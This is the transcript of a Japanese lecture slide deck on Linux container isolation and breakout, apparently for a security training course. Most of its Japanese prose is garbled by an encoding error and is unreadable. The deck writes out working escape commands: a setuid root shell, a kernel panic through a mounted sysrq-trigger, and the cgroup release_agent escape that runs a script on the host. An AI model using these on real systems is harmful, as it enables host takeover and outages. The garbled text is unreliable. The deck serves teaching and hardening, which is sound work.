Container Security - Linux container isolation and breakout techniques

2020/11/07 Prosec-IT 講義資料

Transcript

1. Container Security
   Linux Container Isolation and BreakoutTechniques
   Kohei Morita @mrtc0
   2020 / 1 1 / 07 Prosec-IT
   

   View Slide

2. ߨٛʹ͍ͭͯ
   • Slack ʹߨٛͷͳ͔Ͱٙ໰ʹࢥͬͨ͜ͱ΍࣭໰ɺϋϚͬͨͱ͜Ζ͕͋
   Ε͹υϯυϯॻ͍͍ͯͩ͘͞
   • ԋश͕ऴΘͬͨΒਐḿγʔτͷ߲໨Λʮ׬ྃʯʹ͍ͯͩ͘͠͞
   

   View Slide

3. $ whoami
   Kohei Morita / @mrtc0
   GMO Pepabo, Inc. ηΩϡϦςΟରࡦࣨ
   https://blog.ssrf.in/
   

   View Slide

4. Outline
   • 14:00~15:30 ίϯςφͷϗετͱͷ෼཭ͷ࢓૊Έ
   • 15:40~16:40 ίϯςφͷઃఆෆඋʹؔ͢Δ੬ऑੑ
   • 16:50 ~ ίϯςφΠϝʔδͷ੬ऑੑͱϏϧυ࣌ͷ஫ҙ఺
   • ίϯςφϥϯλΠϜͷηΩϡϦςΟ
   

   View Slide

5. Linux Containers
   

   View Slide

6. Inside Linux Containers ( CRI and OCI )
   

   View Slide

7. Inside Linux Containers ( runc )
   • Linux ͷػೳΛ࢖ͬͯϦιʔεΛ෼཭
   • namespace ... PID, UTS, Network ͳͲ7ͭͷϦιʔεΛ෼཭
   • cgoup ... ϝϞϦ΍CPUར༻ͷ੍ݶ
   • LSM ... Linux Security Module
   • seccomp ... γεςϜίʔϧͷ੍ݶ
   • capability ... ݖݶͷ DROP
   

   View Slide

8. Defense in Depth
   • ಛఆͷྖҬʹอޢϨΠϠΛෳ਺ಋೖ
   • ֤ϨΠϠ͸ಉछͷةݥੑʹରͯ͠੬ऑ
   ʹͳΒͳ͍Α͏ʹ͢Δ
   

   View Slide

9. Linux Container is Process
   • fork + exec ͯ͠ϓϩηεΛੜ੒͢Δ
   • ͦͷࡍʹϗετͱͷ෼཭Λߦ͏
   

   View Slide

10. Linux Container is Process
    • ίϯςφ͸ϗετ͔ΒݟΔͱ୯ͳΔϓϩηε
    $ docker run --rm -it alpine:lates sh
    # sleep 100
    $ ps auxf
    ...
    /usr/bin/containerd
    \_ containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/
    8c9e9014b37131248e4fd927f74b61ff88efdcfdfe4fc9e79e3b3ac2c98bb332 -address /run/containerd/
    containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
    \_ sh
    \_ sleep 100
    ^1
    ^1 ޙड़͠·͕͢ɺKata Container ͳͲ VM Λ࢖͏ϥϯλΠϜ΋͋Γ·͢
    

    View Slide

11. Linux Process
    $ strace ls
    execve("/bin/ls", ["ls"], 0x7ffc39b8b710 /* 20 vars */) = 0
    ...
    openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
    ...
    read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20b\0\0\0\0\0\0"..., 832) = 832
    ...
    write(1, "a.out bpf-tutorial chart-testi"..., 180a...
    • ϓϩηε͸ԿΒ͔ͷγεςϜίʔϧΛݺͼग़͢
    

    View Slide

12. setuid / setgid
    $ cp /bin/sleep ./mysleep
    $ sudo ./mysleep 100
    $ ps ajf
    PPID PID PGID SID TTY TPGID STAT UID TIME COMMAND
    1928 1932 1932 1932 pts/0 4221 Ss 1000 0:00 bash
    1932 4221 4221 1932 pts/0 4221 S+ 0 0:00 \_ sudo ./mysleep 100
    4221 4222 4221 1932 pts/0 4221 S+ 0 0:00 \_ ./mysleep 100
    $ chmod +s ./mysleep
    $ sudo ./mysleep 100
    $ ps ajf
    PPID PID PGID SID TTY TPGID STAT UID TIME COMMAND
    1928 1932 1932 1932 pts/0 4232 Ss 1000 0:00 bash
    1932 4232 4232 1932 pts/0 4232 S+ 0 0:00 \_ sudo ./mysleep 100
    4232 4233 4232 1932 pts/0 4232 S+ 1000 0:00 \_ ./mysleep 100
    

    View Slide

13. setuid ͷ໰୊఺
    • setuid ͞ΕͨϓϩάϥϜͷ੬ऑੑΛѱ༻͞ΕΔͱ root ʹঢ֨ͯ͠͠
    ·͏Մೳੑ͕͋Δ
    • ίϯςφΠϝʔδεΩϟφ͸ setuid ͞ΕͨϑΝΠϧΛใࠂͯ͘͠ΕΔ
    ΋ͷ΋͋Δ
    • docker Ͱ΋ no-new-privileges ΦϓγϣϯͰ੍ޚͰ͖Δ
    

    View Slide

14. no-new-privileges
    $ cat Dockerfile
    FROM ubuntu:18.04
    RUN cp /bin/bash /bin/mybash && chmod +s /bin/mybash
    RUN useradd -ms /bin/bash newuser
    USER newuser
    CMD ["/bin/bash"]
    $ docker run --security-opt=no-new-privileges:false -it --rm test:latest
    newuser@3ee2685cd961:/$ id
    uid=1000(newuser) gid=1000(newuser) groups=1000(newuser)
    newuser@3ee2685cd961:/$ /bin/mybash -p
    mybash-4.4# id
    uid=1000(newuser) gid=1000(newuser) euid=0(root) egid=0(root) groups=0(root)
    $ docker run --security-opt=no-new-privileges:true -it --rm test:latest
    newuser@80f241191a07:/$ /bin/mybash -p
    newuser@80f241191a07:/$ id
    uid=1000(newuser) gid=1000(newuser) groups=1000(newuser)
    

    View Slide

15. Capabilities
    

    View Slide

16. Capabilities
    • setuid Ͱ root Λ༩͑ΔͷͰ͸ͳ͘ɺ΋ͬͱࡉ͔͘ݖݶΛ༩͑Δ
    • ping Ͱ͸ੜͷιέοτΛ։ͨ͘Ίʹ CAP_NET_RAW ^1
    • 1024ҎԼͷϙʔτͰ Listen ͢Δʹ͸ CAP_NET_BIND_SERVICE ͕
    ඞཁ
    ^1 ࣮͸୯७ʹ ping ͢Δ͚ͩͰ͸ඞཁͳ͍Ͱ͢
    

    View Slide

17. Capabilities
    $ ps aux | grep ping
    ubuntu 7322 0.0 0.0 16848 1120 pts/0 S+ 15:12 0:00 ping 8.8.8.8
    $ getpcaps 7322
    Capabilities for `7322': = cap_net_admin,cap_net_raw+p
    $ cp /bin/ping myping
    $ ./myping -c 1 8.8.8.8
    ping: socket: Operation not permitted
    $ sudo setcap 'cap_net_raw+p' ./myping
    $ getcap ./myping
    $ ./myping = cap_net_raw+p
    $ ./myping -c 1 8.8.8.8
    PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
    64 bytes from 8.8.8.8: icmp_seq=1 ttl=114 time=26.8 ms
    

    View Slide

18. Capabilities
    $ docker run --rm -it ubuntu:20.04 bash
    root@4e89e243ccee:/# apt-get -qq update ; apt-get -qq -y install iputils-ping
    root@4e89e243ccee:/# ps
    root@4e89e243ccee:/# getpcaps 1
    1: =
    cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_
    chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
    root@4e89e243ccee:/# ping -c 1 8.8.8.8
    PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
    64 bytes from 8.8.8.8: icmp_seq=1 ttl=113 time=17.9 ms
    $ docker run --cap-drop net_raw --rm -it ubuntu:20.04 bash
    root@31bb88ca04f8:/# apt-get -qq update ; apt-get -qq -y install iputils-ping
    root@31bb88ca04f8:/# ps
    root@31bb88ca04f8:/# getpcaps 1
    1: =
    cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_sys_chroot,cap_m
    knod,cap_audit_write,cap_setfcap+eip
    root@31bb88ca04f8:/# ping 8.8.8.8
    bash: /usr/bin/ping: Operation not permitted
    

    View Slide

19. Privilege Escalation
    • ݖݶঢ֨ = ͞Βʹڧ͍ݖݶΛಘΔ͜ͱ
    • ίϯςφͰ͸ݖݶঢ֨΁ͷಓ͕ଟ਺͋Δ
    

    View Slide

20. ԋशλΠϜ
    1-1-2 ·Ͱ
    

    View Slide

21. Namespace
    

    View Slide

22. Linux namespace
    • Namespace ͸ίϯςφʹ͓͚Δ Isolation ͷॏཁͳཁૉ
    $ docker run --rm -it alpine:latest sh
    / # ps aux
    PID USER TIME COMMAND
    1 root 0:00 sh
    7 root 0:00 ps aux
    

    View Slide

23. ओཁͳ Namespace
    • UTS Namespace
    ϗετ໊ͳͲΛϗετͱผʹͰ͖Δ
    ϓϩηεΛ෼཭͢Δ͜ͱͰɺϗετͷ
    ϓϩηεΛૢ࡞͢Δ͜ͱΛ੍ݶ͢Δ
    • PID Namespace
    ωοτϫʔΫΛ෼཭ͯ͠ίϯςφؒ
    ωοτϫʔΫΛ࡞ΕΔ
    • Network Namespace
    IPC Λϗετͱ෼཭͢Δ͜ͱͰϝο
    ηʔδΩϡʔͳͲͷར༻Λ੍ݶ͢Δ
    • IPC Namespace
    ϑΝΠϧγεςϜΛϚ΢ϯτςʔϒϧ͔Β
    ෼཭͠ɺpivot_root ͱ૊Έ߹ΘͤΔ͜ͱͰ
    ϑΝΠϧγεςϜΛผͷσΟϨΫτϦʹม
    ߋ͢Δ
    • Mount Namespace
    

    View Slide

24. lsns
    $ sudo lsns
    NS TYPE NPROCS PID USER COMMAND
    4026531835 cgroup 141 1 root /sbin/init
    4026531836 pid 139 1 root /sbin/init
    4026531837 user 141 1 root /sbin/init
    4026531838 uts 139 1 root /sbin/init
    4026531839 ipc 139 1 root /sbin/init
    4026531840 mnt 131 1 root /sbin/init
    4026531861 mnt 1 19 root kdevtmpfs
    4026531993 net 139 1 root /sbin/init
    4026532206 mnt 1 5452 systemd-resolve /lib/systemd/systemd-resolved
    4026532207 mnt 1 5449 systemd-timesync /lib/systemd/systemd-timesyncd
    4026532208 mnt 1 5453 root /lib/systemd/systemd-udevd
    4026532209 mnt 1 5465 systemd-network /lib/systemd/systemd-networkd
    4026532210 mnt 3 1293 root /usr/sbin/apache2 -k start
    4026532222 mnt 2 7445 root sh
    4026532223 uts 2 7445 root sh
    4026532224 ipc 2 7445 root sh
    4026532225 pid 2 7445 root sh
    4026532227 net 2 7445 root sh
    

    View Slide

25. namespace ͷ࡞Γํ
    • unshare Ͱ࡞ΕΔ
    

    View Slide

26. Hostname Isolation
    $ docker run --rm -it alpine:latest sh
    / # hostname
    4f5078fcfc49
    $ sudo unshare --uts sh
    # hostname
    sandbox
    # hostname this-is-container
    # hostname
    this-is-container
    # exit
    $ hostname
    sandbox
    

    View Slide

27. Process Isolation
    $ docker run --rm -it alpine:latest sh
    / # ps aux
    PID USER TIME COMMAND
    1 root 0:00 sh
    6 root 0:00 ps aux
    $ sudo unshare --pid --fork bash
    root@sandbox:/# echo $$
    1
    root@sandbox:/# ps uax
    USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
    root 1 0.0 0.2 160192 9392 ? Ss Oct25 0:08 /sbin/init
    root 2 0.0 0.0 0 0 ? S Oct25 0:00 [kthreadd]
    root 4 0.0 0.0 0 0 ? I< Oct25 0:00 [kworker/0:0H]
    ...
    
    

    View Slide

28. man 1 ps
    "This ps works by reading the virtual files in /proc. "
    28
    

    View Slide

29. /proc
    root@sandbox:/# ls -al /proc
    dr-xr-xr-x 151 root root 0 Oct 23 18:10 .
    drwxr-xr-x 25 root root 4096 Oct 23 18:10 ..
    dr-xr-xr-x 9 root root 0 Oct 23 18:10 1
    dr-xr-xr-x 9 root root 0 Oct 23 18:10 10
    dr-xr-xr-x 9 root root 0 Oct 23 18:10 11
    dr-xr-xr-x 9 root root 0 Oct 23 18:10 1139
    dr-xr-xr-x 9 root root 0 Oct 23 18:10 1141
    dr-xr-xr-x 9 root root 0 Oct 23 18:10 1147
    dr-xr-xr-x 9 daemon daemon 0 Oct 23 18:10 1150
    ...
    

    View Slide

30. Change Directory
    • ίϯςφ͸ϗετͱ͸ҟͳΔϑΝ
    ΠϧγεςϜΛ࢖͍ͬͯΔ
    • /proc ΋ؚΊͯ·ΔͬͱผͷσΟ
    ϨΫτϦʹมߋͯ͠͠·͓͏
    

    View Slide

31. chroot
    $ cd alpine/
    alpine$ wget http://dl-cdn.alpinelinux.org/alpine/v3.12/releases/x86_64/alpine-minirootfs-3.12.1-
    x86_64.tar.gz
    alpine$ tar xvf alpine-minirootfs-3.12.1-x86_64.tar.gz
    alpine$ rm alpine-minirootfs-3.12.1-x86_64.tar.gz
    alpine$ cd ../
    $ sudo chroot alpine sh
    / # ls /
    bin dev etc home lib media mnt opt proc root run sbin srv sys tmp
    usr var
    / # ls proc/
    / # ps
    PID USER TIME COMMAND
    / # ls home/
    

    View Slide

32. unshare + chroot
    $ sudo unshare --pid --fork chroot alpine sh
    / # mount -t proc proc /proc
    / # ps aux
    PID USER TIME COMMAND
    1 root 0:00 sh
    4 root 0:00 ps aux
    

    View Slide

33. chroot ? pivot_root ?
    • chroot ͸৚݅ʹΑͬͯ୤ࠈՄೳͳͷͰ࣮ࡍͷίϯςφϥϯλΠϜͰ
    ͸ pivot_root ͕࢖ΘΕΔ͜ͱ͕ଟ͍
    • pivot_root ͸ Mount Namespace ͱ૊Έ߹Θͤͯɺݹ͍(ϗετͷ)
    root σΟϨΫτϦʹΞΫηεͰ͖ͳ͘ͳΔ
    

    View Slide

34. pivot_root
    • ϓϩηεͷ rootfs ͦͷ΋ͷΛೖΕସ͑Δ͜ͱ͕Ͱ͖Δ
    • ͨͩ͠ɺҎԼͷ৚͕݅͋Δ
    • new_root ͱݩͷ put_old ͸σΟϨΫτϦͰ͋Δ͜ͱ
    • new_root ͱ put_old ͸ಉ͡ϑΝΠϧγεςϜʹ͋ͬͯ͸͍͚ͳ͍
    • put_old ͸ new_root ഑Լʹͳ͚Ε͹͍͚ͳ͍
    • ଞͷϑΝΠϧγεςϜ͕ put_old ʹϚ΢ϯτ͞Ε͍ͯͯ͸͍͚ͳ͍
    

    View Slide

35. pivot_root
    • bind mount ͢Δ͜ͱͰ৽͍͠
    Ϛ΢ϯτϙΠϯτͱ͢Δ
    • pivot_root ͰೖΕସ͑ͯ
    put_old Λ unmount ͢Δ
    

    View Slide

36. Mount Namespace + pivot_root
    $ export NEW_ROOT=$(pwd)/alpine
    $ mkdir $NEW_ROOT/.put_old
    $ sudo unshare --pid --fork --mount sh -c "mount --bind $NEW_ROOT $NEW_ROOT && \
    mount -t proc proc $NEW_ROOT/proc && \
    pivot_root $NEW_ROOT $NEW_ROOT/.put_old && \
    umount -l /.put_old && \
    cd / && \
    exec /bin/sh"
    

    View Slide

37. ReadOnly Mount
    • /proc ΍ /sys ʹ͸ΞΫηεͰ
    ͖ͯ͸͍͚ͳ͍ϑΝΠϧ͕ଟ
    ਺͋Δ
    • ReadOnly ͰϚ΢ϯτͨ͠Γ /
    dev/null ΛϚ΢ϯτͨ͠Γ͢
    Δ
    

    View Slide

38. User namespace & User Mapping
    $ unshare --user bash
    $ id
    uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
    $ echo $$
    20265
    $ echo '0 1000 1' > /proc/20265/uid_map
    $ id
    uid=0(root) gid=65534(nogroup) groups=65534(nogroup)
    

    View Slide

39. ԋशλΠϜ
    1-2-4 ·Ͱ
    

    View Slide

40. seccomp
    

    View Slide

41. seccomp
    • γεςϜίʔϧͱͦͷҾ਺Λ੍ݶ͢Δػߏ
    • kexec_file_load
    • mount
    • ptrace
    • https://docs.docker.com/engine/security/seccomp/#run-without-
    the-default-seccomp-profile
    • Linux Kernel 4.8 Ҏલ͸ ptrace Λ࢖ͬͯ Bypass Մೳͳ͜ͱʹ஫ҙ
    

    View Slide

42. $ cat seccomp.json
    {
    "defaultAction": "SCMP_ACT_ALLOW",
    "syscalls": [
    {
    "name": "mkdir",
    "action": "SCMP_ACT_ERRNO",
    "args": []
    }
    ]
    }
    $ docker run --rm --security-opt seccomp:seccomp.json -it ubuntu:latest bash
    root@5e21f4dd5001:/# mkdir /tmp/test
    mkdir: cannot create directory '/tmp/test': Operation not permitted
    seccomp
    

    View Slide

43. ԋशλΠϜ
    1-3 ·Ͱ
    

    View Slide

44. Linux Security Modules
    

    View Slide

45. LSM ( Linux Security Modules )
    • AppArmor ΍ SELinux ͳͲ͕ར༻͞ΕΔ
    • MAC ( Mandatory Access Control ) ͱͯ͠ػೳ͢Δ
    • /proc ΍ /sys ഑ԼͷϑΝΠϧ΁ͷΞΫηεΛ੍ޚͨ͠ΓίϚϯυΛ੍
    ݶͨ͠Γ
    

    View Slide

46. AppArmor
    $ docker container run --rm -it --cap-add SYS_ADMIN --security-opt seccomp=uncon
    fined ubuntu:latest bash
    root@724485cb81f5:/# mkdir a; mkdir b; mount --bind a b
    mount: /b: bind /a failed.
    $ docker container run --rm -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt
    apparmor=unconfined ubuntu:latest bash
    root@89e4b11b35b4:/# mkdir a; mkdir b; mount --bind a b
    https://docs.docker.com/engine/security/apparmor/
    

    View Slide

47. ԋशλΠϜ
    1-4·Ͱ
    

    View Slide

48. cgroup
    

    View Slide

49. cgroup
    • Ϧιʔεͷར༻Λ੍ޚ
    • CPU ΍ϝϞϦͳͲΛ੍ޚͯ͠ෛՙ͕͔͔Βͳ͍Α͏ʹ
    • fork bomb ΁ͷରࡦ
    

    View Slide

50. cgroup
    $ docker run --rm -it -m 120m ubuntu:latest bash
    root@c84c70f93970:/# apt update ; apt install stress
    ---
    $ CID=$(docker run -d --rm ubuntu:latest sleep 1000)
    $ sudo cat /sys/fs/cgroup/memory/docker/$CID/memory.limit_in_bytes
    9223372036854771712
    $ CID2=$(docker run --memory=16m -d --rm ubuntu:latest sleep 1000)
    $ sudo cat /sys/fs/cgroup/memory/docker/$CID2/memory.limit_in_bytes
    16777216
    time docker exec -it $CID apt update ; time docker exec -it $CID2 apt update
    

    View Slide

51. ԋशλΠϜ
    1-5·Ͱ
    

    View Slide

52. Container Security & Breakout Techniques
    

    View Slide

53. Attack Surfaces
    ϥϯλΠϜ΁ͷ߈ܸ Χʔωϧ΁ͷ߈ܸ ઃఆෆඋΛར༻ͨ͠߈ܸ
    e.g. CVE-2019-5736 e.g. CVE-2016-5195
    

    View Slide

54. Breakout Container Isolation
    • ִ཭͞Ε͍ͯΔίϯςφ؀ڥ͔Βϗετ΁୤ग़͢Δ
    • Breakout / JailBreak / Escape ͳͲͱݺͿ
    • ઃఆϛεىҼͰੜ͡Δ੬ऑੑʹয఺Λ౰ͯΔ
    • 1. Sensitive File Mount
    • 2. Privileged Container
    • 3. Capabilities
    

    View Slide

55. 1. Sensitive file mount
    • ϗετͷϑΝΠϧΛϚ΢ϯτ͍ͯ͠Δ৔߹ɺϗετଆʹΤεέʔϓ͢
    Δ͜ͱ͕Ͱ͖Δέʔε͕͋Δ
    • / ΛϚ΢ϯτ(!)
    • docker.sock ͷϚ΢ϯτ
    • /proc ഑Լ
    

    View Slide

56. Mount host root file system
    $ docker run --rm -it -v /:/hostfs alpine:latest sh
    / # ls -al /hostfs
    total 104
    drwxr-xr-x 25 root root 4096 Oct 23 09:10 .
    drwxr-xr-x 1 root root 4096 Nov 2 09:37 ..
    drwxr-xr-x 2 root root 4096 Sep 27 02:21 bin
    drwxr-xr-x 4 root root 4096 Oct 23 21:57 boot
    drwxr-xr-x 16 root root 3760 Oct 23 09:10 dev
    drwxr-xr-x 104 root root 4096 Oct 31 22:21 etc
    drwxr-xr-x 4 root root 4096 Sep 10 14:00 home
    ...
    

    View Slide

57. Mount docker socket
    $ docker run --rm -it -v /var/run/docker.sock:/docker.sock alpine:latest sh
    / # apk add curl
    / # curl --unix-socket /docker.sock http:/v1.24/containers/json
    [{"Id":"ffa672e9ab2a8adc38919c6b812aa8baa8bbb4b7906e98206ec947b642503158","Names":["/
    crazy_knuth"],"Image":"alpine:latest","ImageID":"sha256:d6e46aa2470df1d32034c6707c8041158b652f38d2a9a
    e3d7ad7e7532d22ebe0","Command":"sh","Created":1604309903,"Ports":[],"La...
    

    View Slide

58. Kernel Panic
    $ docker run --rm -it -v /proc/sysrq-trigger:/sysrq-trigger alpine:latest sh
    / # echo c > /sysrq-trigger
    

    View Slide

59. ԋशλΠϜ
    2-1·Ͱ
    

    View Slide

60. 2. Privileged Container
    • Privileged (ಛݖ) ίϯςφͱݺ͹ΕΔ΋ͷ͸ Isolation ͕ෆे෼ͳͷͰσ
    όοά໨తҎ֎Ͱར༻͠ͳ͍͜ͱ
    • CAP_SYS_ADMIN ΍ CAP_SYS_PTRACE ͳͲͷ Capability Λ༩͑ͯ͠
    ·͏
    • seccomp ΍ AppArmor ͳͲͷอޢ͕ͳ͍
    • ಛఆͷ Capability ͷ෇༩΍ಛఆͷγεςϜίʔϧͷڐՄͳͲ͕߹Θ͞Δ͜
    ͱͰ΋ϗετଆʹΤεέʔϓͰ͖Δ
    

    View Slide

61. call_usermodehelper_exec()
    • ϢʔβʔϥϯυͰίʔϧόοΫͷΑ͏ʹ೚ҙͷϓϩάϥϜΛ࣮ߦͰ͖
    ΔΧʔωϧͷػೳ
    • release_agent, binfmt_misc, core_pattern, uevent_helper
    • Capability / seccomp ͳͲͷෆඋͰಛఆͷૢ࡞͕Մೳͳ৔߹ʹɺίϯ
    ςφ͔ΒΠϕϯτΛൃՐͤ͞Δ͜ͱͰϗετଆͰ೚ҙͷϓϩάϥϜΛ
    ࣮ߦͰ͖Δ
    

    View Slide

62. cgroup release agent
    $ docker run --privileged --rm -it ubuntu:latest bash
    root@927bb44baf0d:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
    root@927bb44baf0d:/# echo 1 > /tmp/cgrp/x/notify_on_release
    

    View Slide

63. cgroup release agent
    root@927bb44baf0d:/# mount | grep overlay2
    overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/
    4HN7CVYLX5VML6M3TK4HLNKHX2:/var/lib/docker/overlay2/l/RWN3A47IS5OFAM3BM5YCAOFBYD:/var/lib/docker/
    overlay2/l/DCI4FWEI5GWG2MAABQGMYNWPTY:/var/lib/docker/overlay2/l/
    EAP7XMJNE3QFMGS5SOHUTYQPBB,upperdir=/var/lib/docker/overlay2/
    ed8b2e0d609b87c327e4c6061308d83acca13bc88fe96394b46dd5312af84277/diff,workdir=/var/lib/docker/
    overlay2/ed8b2e0d609b87c327e4c6061308d83acca13bc88fe96394b46dd5312af84277/work,xino=off)
    root@927bb44baf0d:/# echo "/var/lib/docker/overlay2/
    ed8b2e0d609b87c327e4c6061308d83acca13bc88fe96394b46dd5312af84277/diff/cmd" > /tmp/cgrp/release_agent
    

    View Slide

64. cgroup release agent
    root@927bb44baf0d:/# cat < /cmd
    > #!/bin/sh
    > ps aux > /tmp/output
    > EOF
    root@927bb44baf0d:/# chmod +x /cmd
    root@927bb44baf0d:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
    ubuntu@docker:/tmp$ head /tmp/output
    USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
    root 1 0.0 0.3 168656 12660 ? Ss Nov02 0:04 /sbin/init
    root 2 0.0 0.0 0 0 ? S Nov02 0:00 [kthreadd]
    ...
    

    View Slide

65. breakout to host
    • uevent_helper ... /sys/kernel/uevent_helper ʹॻ͔ΕͨϓϩάϥϜ
    Λ uevent Λى͜͢͜ͱͰ࣮ߦͤ͞Δ
    • core_pattern ... /proc/sys/kernel/core_pattern ʹॻ͔ΕͨϓϩάϥϜ
    Λ core ϑΝΠϧΛు͍ͨλΠϛϯάͰ࣮ߦ͢Δ
    

    View Slide

66. ԋशλΠϜ
    2-2·Ͱ
    

    View Slide

67. 3. Capabilities
    • Privileged Container Ͱͳͯ͘΋ಛఆͷ Capability Λ༩͑Δ͜ͱ͸ة
    ݥ
    • CAP_SYS_MODULE ... ΧʔωϧϞδϡʔϧͷϩʔυ
    • CAP_SUS_RAWIO ... ioctl
    • CAP_SYS_ADMIN ... mount ͳͲ
    

    View Slide

68. Container Image Security
    

    View Slide

69. Container Image Security
    • ίϯςφΠϝʔδ΋ηΩϡϦςΟతʹؾΛ͚ͭΔͱ͜Ζ͕͋Δ
    • 1. Ϗϧυ࣌ͷηΩϡϦςΟ
    • 2. ґଘύοέʔδͷηΩϡϦςΟ
    • 3.Πϝʔδͷվ͟Μ
    

    View Slide

70. Image Build Attack Surfaces
    e.g. CVE-2019-16097
    

    View Slide

71. Container Image
    • docker pull alpine:latest
    • docker pull docker.example.com/user/alpine:latest
    • docker build -t .
    

    View Slide

72. Build a image
    $ cat Dockerfile
    FROM alpine:latest
    RUN echo "secret" > /secret.txt
    RUN rm /secret.txt
    $ docker build -t test .
    Sending build context to Docker daemon 10.61MB
    Step 1/3 : FROM alpine:latest
    ---> d6e46aa2470d
    Step 2/3 : RUN echo "secret" > /secret.txt
    ---> Running in 32f150d1804c
    Removing intermediate container 32f150d1804c
    ---> 2cac5efedab4
    Step 3/3 : RUN rm /secret.txt
    ---> Running in be0569fd1744
    Removing intermediate container be0569fd1744
    ---> b29dd8898773
    Successfully built b29dd8898773
    Successfully tagged test:latest
    

    View Slide

73. Image Layers
    • Πϝʔδ͸ͦΕͧΕͷ໋ྩ͝ͱͷϨΠϠͰߏங͞Ε͍ͯΔ
    

    View Slide

74. Extract image
    $ docker save test > test.tar
    $ mkdir test
    $ cd test
    ~/test$ tar -xf ../test.tar
    ~/test$ ls
    b1c62b187dcd114a7252e45a4f03577549d82277149b5467c73eefaa956260bd
    b6433cc45f11a118c68ef34b9b3192f7c3514ee1a36c85d26df80122d058af4a manifest.json
    b29dd88987735c67e31b37de3c0c44abf656b42e6ce396defbfd967ba772e027.json
    c8e83ef6a497050f640412539ecd335c4f7cf72808a75aea4ef1d0e04bb28156 repositories
    

    View Slide

75. History
    $ cat b29*.json | jq
    "history": [
    {
    "created": "2020-10-22T02:19:24.33416307Z",
    "created_by": "/bin/sh -c #(nop) ADD file:f17f65714f703db9012f00e5ec98d0b2541ff6147c2633f7ab9ba659d0c507f4 in / "
    },
    {
    "created": "2020-10-22T02:19:24.499382102Z",
    "created_by": "/bin/sh -c #(nop) CMD [\"/bin/sh\"]",
    "empty_layer": true
    },
    {
    "created": "2020-11-02T09:05:38.780508124Z",
    "created_by": "/bin/sh -c echo \"secret\" > /secret.txt"
    },
    {
    "created": "2020-11-02T09:05:39.890868911Z",
    "created_by": "/bin/sh -c rm /secret.txt"
    }
    

    View Slide

76. Extract Layer
    $ cat manifest.json | jq
    ...
    "Layers": [
    "b1c62b187dcd114a7252e45a4f03577549d82277149b5467c73eefaa956260bd/layer.tar",
    "c8e83ef6a497050f640412539ecd335c4f7cf72808a75aea4ef1d0e04bb28156/layer.tar",
    "b6433cc45f11a118c68ef34b9b3192f7c3514ee1a36c85d26df80122d058af4a/layer.tar"
    ...
    $ tar xf c8e83ef6a497050f640412539ecd335c4f7cf72808a75aea4ef1d0e04bb28156/layer.tar
    $ cat secret.txt
    secret
    

    View Slide

77. ԋशλΠϜ
    3-2·Ͱ
    

    View Slide

78. Dependencies Vulnerability
    • ΠϝʔδʹΠϯετʔϧ͞Εͨιϑτ΢ΣΞͷ੬ऑੑ
    • ΦϯϓϨ/VM ͱಉ͡Ͱɺίϯςφ಺ͷݖݶΛऔಘ͞ΕΔՄೳੑ͕
    ͋Δ
    

    View Slide

79. trivy
    

    View Slide

80. ੬ऑੑ͕ݟ͔ͭͬͨ৔߹
    • ͦͷ੬ऑੑ͕σΟετϦͰͲ͏͍͏ѻ͍ʹͳ͍ͬͯΔ͔֬ೝ͢Δ
    • Affected ͕༷ͩʑͳཧ༝Ͱ deffered ʹͳ͍ͬͯΔ΋ͷ΋͋Δ
    • ͦͷ੬ऑੑ͕ར༻͞ΕΔέʔε͸͋Δͷ͔
    • ѱ༻͞ΕΔՄೳੑ͕͋Δ৔߹ʹ ɺΞοϓσʔτ͸ग़͍ͯΔͷ͔
    • ϕʔεΠϝʔδͷߋ৽΍ Mitigation Λߦ͏
    

    View Slide

81. Πϝʔδͷվ͟Μ
    • ϨδετϦͷΞΧ΢ϯτ͕৐ͬऔΒΕͨ৔߹ɺΠϝʔδ͕ෆਖ਼ͳ΋ͷ
    ʹॻ͖׵͑ΒΕΔՄೳੑ͕͋Δ
    • latest Λࢦఆ͍ͯ͠Δͱෆਖ਼ͳΠϝʔδΛऔಘͯ͠͠·͏Մೳੑ͕͋
    Δ
    • Πϝʔδͷ Digest Λࢦఆ͢Δ
    • Docker Content Trust (ॺ໊) Λར༻͢Δ
    

    View Slide

82. ԋशλΠϜ
    3-3·Ͱ
    

    View Slide

83. Hardening Container
    

    View Slide

84. Hardening Isolation
    • ίϯςφ͸ϗετͱͷ෼཭Ϩϕϧ΍αϯυϘοΫεͷ࢓૊Έ͕ॏཁ
    • seccomp ΍ LSM ʹΑΔ Hardening ͸ Docker Ͱ΋༰қʹར༻Ͱ
    ͖ΔͷͰखܰͱ͍͑Δ
    • ϥϯλΠϜࣗମΛมߋ͢Δͱ͍͏ํ๏΋͋Δ
    • gVisor
    • Kata Container
    

    View Slide

85. rootless build
    • Docker Daemon ͸ root Ͱಈ͍͍ͯΔ
    • docker build ͕Ͱ͖Δ = ೚ҙͷίϚϯυΛ root Ͱ࣮ߦͰ͖Δ
    • ؂ࠪ΋ࠔ೉ (auid ͕ unset)
    • rootless Docker ΍ buildar ͳͲΛར༻͢Δ
    

    View Slide

86. Network / Logging
    • τϥϑΟοΫͷ੍ޚ΍ ARP Spoofing ΁ͷରࡦ
    • ίϯςφϩά΍Πϕϯτͷू໿
    • fluentd
    • falco
    • auditd
    

    View Slide

87. ·ͱΊ
    • ίϯςφ͸ Linux ͷػೳΛ༻͍ͯϦιʔεͷ෼཭ͱ੍ݶΛߦ͍ͬͯΔ
